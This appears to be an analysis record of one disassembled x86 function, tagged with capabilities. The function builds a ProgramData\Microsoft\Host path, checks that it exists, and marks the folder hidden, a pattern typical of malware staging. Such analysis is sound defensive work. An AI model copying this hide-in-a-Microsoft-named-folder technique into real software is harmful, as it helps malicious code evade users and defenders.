Function at 0x100b7c60
Capabilities:
Check if file exists
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f2696
mov eax, dword fs:[0]
push eax
sub esp, 0x46c
mov eax, dword [0x1012d034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x474], esi
mov dword [ebp - 0x46c], 0
mov dword [ebp - 4], 1
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], ax
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], eax
mov word [ebp - 0x450], ax
push 0x206
mov byte [ebp - 4], 2
push eax
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x420]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x104
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.MSVCR120.dll__wsplitpath_s]
add esp, 0x24
cmp word [ebp - 0x218], 0
jne 0x100b7d61
xor ecx, ecx
jmp 0x100b7d7f
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100b7d70
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x450]
call fcn.10001e10
cmp dword [ebp - 0x440], 0
je 0x100b7db4
push 1
push 0
push 0x1010a18c
lea ecx, [ebp - 0x450]
call fcn.10006d30
cmp eax, 0xffffffff
jne 0x100b7dc6
push 2
push 0x1010a190
lea ecx, [ebp - 0x450]
call fcn.10001e10
cmp dword [ebp - 0x43c], 8
lea eax, [ebp - 0x450]
cmovae eax, dword [ebp - 0x450]
push eax
lea eax, [ebp - 0x468]
push str._sProgramDataMicrosoft_Host
push eax
call fcn.10039f20
add esp, 0xc
xor eax, eax
mov byte [ebp - 4], 3
push 0xffffffffffffffff
push eax
mov word [ebp - 0x438], ax
lea ecx, [ebp - 0x438]
lea eax, [ebp - 0x468]
mov dword [ebp - 0x424], 7
push eax
mov dword [ebp - 0x428], 0
call fcn.10001a70
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 4
call fcn.1003ad30
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov byte [ebp - 4], 3
mov edi, dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
setne bl
cmp dword [ebp - 0x424], 8
jb 0x100b7e72
push dword [ebp - 0x438]
call edi
add esp, 4
test bl, bl
jne 0x100b7ea5
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x468]
push eax
call fcn.10001a70
call fcn.100b6920
add esp, 0x18
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp + 8]
lea eax, [ebp - 0x450]
cmovae ecx, dword [ebp + 8]
cmp dword [ebp - 0x43c], 8
push ecx
cmovae eax, dword [ebp - 0x450]
push eax
lea eax, [ebp - 0x438]
push str._sProgramDataMicrosoft_Host_s
push eax
call fcn.10039f20
mov ebx, eax
add esp, 0x10
cmp esi, ebx
je 0x100b7f08
cmp dword [esi + 0x14], 8
jb 0x100b7eed
push dword [esi]
call edi
add esp, 4
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov ecx, esi
push ebx
mov word [esi], ax
call fcn.10001910
cmp dword [ebp - 0x424], 8
jb 0x100b7f1c
push dword [ebp - 0x438]
call edi
add esp, 4
mov ecx, esi
call fcn.1003ad30
xor eax, eax
mov dword [ebp - 0x424], 7
push 0xffffffffffffffff
push eax
push esi
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x428], 0
mov word [ebp - 0x438], ax
call fcn.10001a70
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 5
call fcn.1003ad30
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov byte [ebp - 4], 3
setne bl
cmp dword [ebp - 0x424], 8
jb 0x100b7f96
push dword [ebp - 0x438]
call edi
add esp, 4
test bl, bl
jne 0x100b7fe0
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push esi
mov word [ecx], ax
call fcn.10001a70
call fcn.100b6920
add esp, 0x18
lea eax, [ebp - 0x468]
cmp dword [ebp - 0x454], 8
cmovae eax, dword [ebp - 0x468]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 0x454], 8
jb 0x100b7ff4
push dword [ebp - 0x468]
call edi
add esp, 4
xor eax, eax
mov dword [ebp - 0x454], 7
cmp dword [ebp - 0x43c], 8
mov dword [ebp - 0x458], 0
mov word [ebp - 0x468], ax
jb 0x100b8025
push dword [ebp - 0x450]
call edi
add esp, 4
xor eax, eax
mov dword [ebp - 0x43c], 7
cmp dword [ebp + 0x1c], 8
mov dword [ebp - 0x440], 0
mov word [ebp - 0x450], ax
jb 0x100b8050
push dword [ebp + 8]
call edi
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100ebd7b
mov esp, ebp
pop ebp
ret